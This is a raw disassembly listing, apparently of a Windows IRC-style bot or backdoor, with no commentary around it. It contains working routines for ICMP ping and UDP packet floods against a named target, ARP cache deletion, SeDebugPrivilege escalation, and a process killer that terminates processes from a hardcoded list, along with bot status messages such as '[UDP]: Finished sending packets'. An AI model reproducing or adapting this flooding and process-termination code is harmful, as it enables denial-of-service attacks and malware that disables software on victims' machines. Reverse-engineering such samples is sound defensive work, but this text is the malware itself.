loc_4080BF: ; CODE XREF: sub_407F79+13Dj
push [ebp+var_8]
lea eax, [ebp+Dest]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_407F79 endp
; =============== S U B R O U T I N E =======================================
sub_4080F9 proc near ; CODE XREF: sub_4077B6+41p
; sub_407944+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_4081AB
jz loc_4081A4
cmp eax, 7Bh
ja short loc_408170
jz short loc_408166
cmp eax, 5
jz short loc_40815C
cmp eax, 8
jz short loc_408152
cmp eax, 32h
jz short loc_408148
cmp eax, 35h
jz short loc_40813E
cmp eax, 57h
jnz loc_4081FA
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_40821B
; ---------------------------------------------------------------------------
loc_40813E: ; CODE XREF: sub_4080F9+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_40821B
; ---------------------------------------------------------------------------
loc_408148: ; CODE XREF: sub_4080F9+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_40821B
; ---------------------------------------------------------------------------
loc_408152: ; CODE XREF: sub_4080F9+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_40821B
; ---------------------------------------------------------------------------
loc_40815C: ; CODE XREF: sub_4080F9+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_40821B
; ---------------------------------------------------------------------------
loc_408166: ; CODE XREF: sub_4080F9+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_40821B
; ---------------------------------------------------------------------------
loc_408170: ; CODE XREF: sub_4080F9+1Aj
sub eax, 7Ch
jz short loc_40819D
sub eax, 7C8h
jz short loc_408196
dec eax
jz short loc_40818C
dec eax
jnz short loc_4081FA
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_40821B
; ---------------------------------------------------------------------------
loc_40818C: ; CODE XREF: sub_4080F9+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_40821B
; ---------------------------------------------------------------------------
loc_408196: ; CODE XREF: sub_4080F9+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_40819D: ; CODE XREF: sub_4080F9+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_4081A4: ; CODE XREF: sub_4080F9+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_4081AB: ; CODE XREF: sub_4080F9+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_4081E4
jz short loc_4081DD
sub eax, 8ADh
jz short loc_40820F
dec eax
dec eax
jz short loc_4081D6
dec eax
jz short loc_4081CF
dec eax
dec eax
jnz short loc_4081FA
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_4081CF: ; CODE XREF: sub_4080F9+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_4081D6: ; CODE XREF: sub_4080F9+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_4081DD: ; CODE XREF: sub_4080F9+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_4081E4: ; CODE XREF: sub_4080F9+B9j
sub eax, 8CAh
jz short loc_408216
sub eax, 17h
jz short loc_40820F
sub eax, 25h
jz short loc_408208
sub eax, 29h
jz short loc_408201
loc_4081FA: ; CODE XREF: sub_4080F9+35j
; sub_4080F9+87j ...
push offset aAnUnknownError ; "An unknown error occurred."
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_408201: ; CODE XREF: sub_4080F9+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_408208: ; CODE XREF: sub_4080F9+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_40820F: ; CODE XREF: sub_4080F9+C2j
; sub_4080F9+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_40821B
; ---------------------------------------------------------------------------
loc_408216: ; CODE XREF: sub_4080F9+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_40821B: ; CODE XREF: sub_4080F9+40j
; sub_4080F9+4Aj ...
push offset byte_42F144 ; Dest
call _sprintf
pop ecx
mov eax, offset byte_42F144
pop ecx
retn
sub_4080F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40822D(char *Source)
sub_40822D proc near ; CODE XREF: sub_409557+1AE8p
Dest = word ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
Source = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h ; MaxCount
push [ebp+Source] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _mbstowcs
add esp, 0Ch
lea eax, [ebp+Source]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+Source], esi
call ds:dword_41B0FC ; GetComputerNameA
lea eax, [ebp+var_108]
push esi ; MaxCount
push eax ; Source
lea eax, [ebp+var_318]
push eax ; Dest
call _mbstowcs
lea eax, [ebp+Dest]
push eax ; Str
call _wcslen
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_42EBC4
test eax, eax
jnz short loc_4082BD
mov esi, offset byte_42EF40
push offset aNetMessageSent ; "[NET]: Message sent successfully."
push esi ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_4082E6
; ---------------------------------------------------------------------------
loc_4082BD: ; CODE XREF: sub_40822D+7Aj
lea ecx, [ebp+Dest]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4080F9
pop ecx
mov esi, offset byte_42EF40
push eax
push offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>"
push esi ; Dest
call _sprintf
add esp, 14h
loc_4082E6: ; CODE XREF: sub_40822D+8Ej
mov eax, esi
pop esi
leave
retn
sub_40822D endp
; =============== S U B R O U T I N E =======================================
sub_4082EB proc near ; CODE XREF: sub_4034C2+7p
; sub_403EEB+83p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_42EBF0 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_408313
push [esp+arg_0]
call dword_42EC34 ; gethostbyname
test eax, eax
jnz short loc_40830C
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40830C: ; CODE XREF: sub_4082EB+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_408313: ; CODE XREF: sub_4082EB+Dj
retn
sub_4082EB endp
; =============== S U B R O U T I N E =======================================
sub_408314 proc near ; CODE XREF: sub_409277+D6p
mov ecx, dword_42EAEC
xor eax, eax
test ecx, ecx
jz short locret_408322
call ecx ; DnsFlushResolverCache
locret_408322: ; CODE XREF: sub_408314+Aj
retn
sub_408314 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408323 proc near ; CODE XREF: sub_409557:loc_40DF00p
Dest = byte ptr -88h
Size = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+Size]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+Size], edi
mov [ebp+var_4], ebx
call dword_42EC2C ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_4083E9
sub ecx, 32h
jz loc_4083E2
sub ecx, 48h
jz short loc_408383
sub ecx, 6Eh
jz short loc_40837C
loc_408365: ; CODE XREF: sub_408323+8Bj
push eax
lea eax, [ebp+Dest]
push offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP cache: <%"...
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_4083C3
; ---------------------------------------------------------------------------
loc_40837C: ; CODE XREF: sub_408323+40j
push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache is empty."
jmp short loc_4083B5
; ---------------------------------------------------------------------------
loc_408383: ; CODE XREF: sub_408323+3Bj
push [ebp+Size] ; Size
call _malloc
push [ebp+Size] ; Size
mov esi, eax
push edi ; Val
push esi ; Dst
call _memset
add esp, 10h
cmp esi, edi
jz short loc_4083B0
lea eax, [ebp+Size]
push ebx
push eax
push esi
call dword_42EC2C ; GetIpNetTable
cmp eax, edi
jz short loc_4083E9
jmp short loc_408365
; ---------------------------------------------------------------------------
loc_4083B0: ; CODE XREF: sub_408323+79j
push offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to allocation ARP ca"...
loc_4083B5: ; CODE XREF: sub_408323+5Ej
; sub_408323+C4j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4083C3: ; CODE XREF: sub_408323+57j
lea eax, [ebp+Dest]
mov [ebp+var_4], edi
push eax
call sub_402D63
pop ecx
loc_4083D3: ; CODE XREF: sub_408323+C8j
; sub_408323+DCj
push esi ; Memory
call _free
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4083E2: ; CODE XREF: sub_408323+32j
push offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
jmp short loc_4083B5
; ---------------------------------------------------------------------------
loc_4083E9: ; CODE XREF: sub_408323+29j
; sub_408323+89j
cmp [esi], edi
jbe short loc_4083D3
lea ebx, [esi+4]
loc_4083F0: ; CODE XREF: sub_408323+DAj
push ebx
call dword_42EC28 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_4083F0
jmp short loc_4083D3
sub_408323 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408401 proc near ; CODE XREF: sub_40119B+1Fp
; .text:0040180Dp ...
Dst = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_42EB5C ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset byte_42F7A8
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi ; Dest
call _sprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_408401 endp
; =============== S U B R O U T I N E =======================================
sub_40845A proc near ; CODE XREF: sub_40318B+24Cp
; sub_40318B+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_408483
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_408476: ; CODE XREF: sub_40845A+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_408476
pop edi
jmp short loc_408487
; ---------------------------------------------------------------------------
loc_408483: ; CODE XREF: sub_40845A+Aj
mov edx, [esp+4+arg_0]
loc_408487: ; CODE XREF: sub_40845A+27j
test esi, esi
pop esi
jz short loc_408491
movzx ecx, byte ptr [edx]
add eax, ecx
loc_408491: ; CODE XREF: sub_40845A+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40845A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4084A7 proc near ; DATA XREF: sub_409557+26C0o
var_10320 = byte ptr -10320h
Dest = byte ptr -344h
var_144 = dword ptr -144h
Str = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Dst = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_42EB48 ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_42EBF0 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_408502
lea eax, [ebp+var_C0]
push eax
call dword_42EC34 ; gethostbyname
cmp eax, ebx
jz short loc_408508
loc_408502: ; CODE XREF: sub_4084A7+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_408565
loc_408508: ; CODE XREF: sub_4084A7+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dest]
push offset aPingErrorSendi ; "[PING]: Error sending pings to %s."
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_408548
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_144] ; int
call sub_405E64
add esp, 14h
loc_408548: ; CODE XREF: sub_4084A7+7Fj
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_30]
call sub_411F56
pop ecx
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
loc_408565: ; CODE XREF: sub_4084A7+5Fj
cmp eax, ebx
jz short loc_408575
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_408578
; ---------------------------------------------------------------------------
loc_408575: ; CODE XREF: sub_4084A7+C0j
mov [ebp+var_4], esi
loc_408578: ; CODE XREF: sub_4084A7+CCj
push 1Ch ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_408598
mov [ebp+var_3C], eax
loc_408598: ; CODE XREF: sub_4084A7+ECj
cmp [ebp+var_38], edi
jge short loc_4085A0
mov [ebp+var_38], edi
loc_4085A0: ; CODE XREF: sub_4084A7+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_4085CD
loc_4085A7: ; CODE XREF: sub_4084A7+124j
push [ebp+var_38]
lea eax, [ebp+Dst]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_42EAE8 ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_4085A7
loc_4085CD: ; CODE XREF: sub_4084A7+FEj
push [ebp+arg_0]
call dword_42EC68 ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dest]
push offset aPingFinishedSe ; "[PING]: Finished sending pings to %s."
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_408616
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_144] ; int
call sub_405E64
add esp, 14h
loc_408616: ; CODE XREF: sub_4084A7+14Dj
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_30]
call sub_411F56
pop ecx
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
sub_4084A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408633 proc near ; DATA XREF: sub_409557+2807o
var_10311 = byte ptr -10311h
var_10310 = byte ptr -10310h
Dest = byte ptr -334h
var_134 = dword ptr -134h
Str = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call ds:dword_41B078 ; GetTickCount
push eax
call sub_41274C
pop ecx
push 11h
push 2
push 2
call dword_42EC30 ; socket
mov ebx, eax
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+Dst], 2
push eax
call dword_42EBF0 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_408718
lea eax, [ebp+var_B0]
push eax
call dword_42EC34 ; gethostbyname
cmp eax, edi
jnz short loc_408711
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+Dest]
push offset aUdpErrorSendin ; "[UDP]: Error sending pings to %s."
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_4086F4
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_1C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_134] ; int
call sub_405E64
add esp, 14h
loc_4086F4: ; CODE XREF: sub_408633+9Fj
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_20]
call sub_411F56
pop ecx
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
loc_408711: ; CODE XREF: sub_408633+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40871B
; ---------------------------------------------------------------------------
loc_408718: ; CODE XREF: sub_408633+6Ej
lea eax, [ebp+arg_0]
loc_40871B: ; CODE XREF: sub_408633+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_408736
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_408739
; ---------------------------------------------------------------------------
loc_408736: ; CODE XREF: sub_408633+F0j
push [ebp+var_24]
loc_408739: ; CODE XREF: sub_408633+101j
call dword_42EBB4 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40874B
mov [ebp+var_24], esi
loc_40874B: ; CODE XREF: sub_408633+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_408758
mov [ebp+var_24], eax
loc_408758: ; CODE XREF: sub_408633+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40876C
mov [ebp+var_28], esi
loc_40876C: ; CODE XREF: sub_408633+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_40878D
loc_408773: ; CODE XREF: sub_408633+158j
call _rand
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi+var_10311], dl
jl short loc_408773
loc_40878D: ; CODE XREF: sub_408633+13Ej
; sub_408633+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_4087EC
push 0Bh
pop esi
loc_40879A: ; CODE XREF: sub_408633+197j
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_42EC14 ; sendto
push [ebp+var_28]
call ds:dword_41B048 ; Sleep
dec esi
jnz short loc_40879A
cmp [ebp+var_24], edi
jnz short loc_40878D
call _rand
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_42EBB4 ; htons
mov [ebp+var_E], ax
jmp short loc_40878D
; ---------------------------------------------------------------------------
loc_4087EC: ; CODE XREF: sub_408633+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+Dest]
push offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s."
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40882C
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_1C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_134] ; int
call sub_405E64
add esp, 14h
loc_40882C: ; CODE XREF: sub_408633+1D7j
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_20]
call sub_411F56
pop ecx
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
sub_408633 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408849 proc near ; CODE XREF: sub_407228+7p
; sub_4088B4+5Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call ds:dword_41B100 ; GetCurrentProcess
push eax
call dword_42EB98 ; OpenProcessToken
test eax, eax
jnz short loc_408868
leave
retn
; ---------------------------------------------------------------------------
loc_408868: ; CODE XREF: sub_408849+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_42EB74 ; LookupPrivilegeValueA
test eax, eax
jz short loc_4088A6
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_40888F
or [ebp+var_8], 2
jmp short loc_408893
; ---------------------------------------------------------------------------
loc_40888F: ; CODE XREF: sub_408849+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_408893: ; CODE XREF: sub_408849+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_42EC1C ; AdjustTokenPrivileges
mov esi, eax
loc_4088A6: ; CODE XREF: sub_408849+32j
push [ebp+var_4]
call ds:dword_41B050 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_408849 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4088B4(int,char *Str,int,char *Str2,int,int)
sub_4088B4 proc near ; CODE XREF: sub_408AE3+74p
; sub_408BF8+Ap ...
Dest = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
Str1 = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
Str2 = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_42EBD4, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_408AB3
cmp dword_42EBB8, ebx
jz loc_408AB3
cmp dword_42EAE4, ebx
jz loc_408AB3
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_408849
pop ecx
pop ecx
push ebx
push 0Fh
call dword_42EBD4 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_408AA6
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_42EBB8 ; Process32First
mov esi, ds:dword_41B050
test eax, eax
jz loc_408AA1
lea eax, [ebp+var_130]
push eax
push edi
call dword_42EAE4 ; Process32Next
test eax, eax
jz loc_408AA1
mov edi, ds:dword_41B10C
mov ebx, 1F0FFFh
loc_408978: ; CODE XREF: sub_4088B4+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_4089DF
mov [ebp+var_4], offset off_421F08
loc_408986: ; CODE XREF: sub_4088B4+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+Str1]
push eax
call ds:dword_41B108 ; lstrcmpi
test eax, eax
jz short loc_4089AE
add [ebp+var_4], 4
cmp [ebp+var_4], offset aI11r54n4_exe ; "i11r54n4.exe"
jl short loc_408986
jmp loc_408A87
; ---------------------------------------------------------------------------
loc_4089AE: ; CODE XREF: sub_4088B4+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_408A87
push 0
push eax
call ds:dword_41B104 ; TerminateProcess
test eax, eax
jnz loc_408A87
loc_4089D5: ; CODE XREF: sub_4088B4+1B9j
push [ebp+var_4]
call esi ; CloseHandle
jmp loc_408A87
; ---------------------------------------------------------------------------
loc_4089DF: ; CODE XREF: sub_4088B4+C9j
cmp [ebp+Str2], eax
jnz loc_408A72
cmp [ebp+Str], eax
jz loc_408A87
push [ebp+var_128]
push 8
call dword_42EBD4 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_408A32
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_42EA94 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_408A38
lea eax, [ebp+var_234]
jmp short loc_408A3E
; ---------------------------------------------------------------------------
loc_408A32: ; CODE XREF: sub_4088B4+15Cj
push [ebp+var_128]
loc_408A38: ; CODE XREF: sub_4088B4+174j
lea eax, [ebp+Str1]
loc_408A3E: ; CODE XREF: sub_4088B4+17Cj
push eax
lea eax, [ebp+Dest]
push offset aSD_0 ; " %s (%d)"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push 1 ; int
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 14h
jmp loc_4089D5
; ---------------------------------------------------------------------------
loc_408A72: ; CODE XREF: sub_4088B4+12Ej
push [ebp+Str2] ; Str2
lea eax, [ebp+Str1]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_408ABA
loc_408A87: ; CODE XREF: sub_4088B4+F5j
; sub_4088B4+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_42EAE4 ; Process32Next
test eax, eax
jnz loc_408978
xor ebx, ebx
loc_408AA1: ; CODE XREF: sub_4088B4+9Dj
; sub_4088B4+B3j
push [ebp+var_8]
call esi ; CloseHandle
loc_408AA6: ; CODE XREF: sub_4088B4+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_408849
pop ecx
pop ecx
loc_408AB3: ; CODE XREF: sub_4088B4+3Aj
; sub_4088B4+46j ...
xor eax, eax
loc_408AB5: ; CODE XREF: sub_4088B4+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_408ABA: ; CODE XREF: sub_4088B4+1D1j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call ds:dword_41B104 ; TerminateProcess
test eax, eax
jnz short loc_408ADE
push edi
call esi ; CloseHandle
jmp short loc_408AB3
; ---------------------------------------------------------------------------
loc_408ADE: ; CODE XREF: sub_4088B4+223j
push 1
pop eax
jmp short loc_408AB5
sub_4088B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408AE3 proc near ; DATA XREF: sub_409557+4BE0o
Dest = byte ptr -298h
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset aProcListingPro ; "[PROC]: Listing processes:"
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_408B42
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_98] ; int
call sub_405E64
add esp, 14h
loc_408B42: ; CODE XREF: sub_408AE3+3Dj
push [ebp+var_10] ; int
lea eax, [ebp+Str]
push esi ; int
push esi ; Str2
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_98] ; int
call sub_4088B4
add esp, 18h
test eax, eax
jnz short loc_408B6A
push offset aProcProcessLis ; "[PROC]: Process list completed."
jmp short loc_408B6F
; ---------------------------------------------------------------------------
loc_408B6A: ; CODE XREF: sub_408AE3+7Ej
push offset aProcProcessL_0 ; "[PROC]: Process list failed."
loc_408B6F: ; CODE XREF: sub_408AE3+85j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
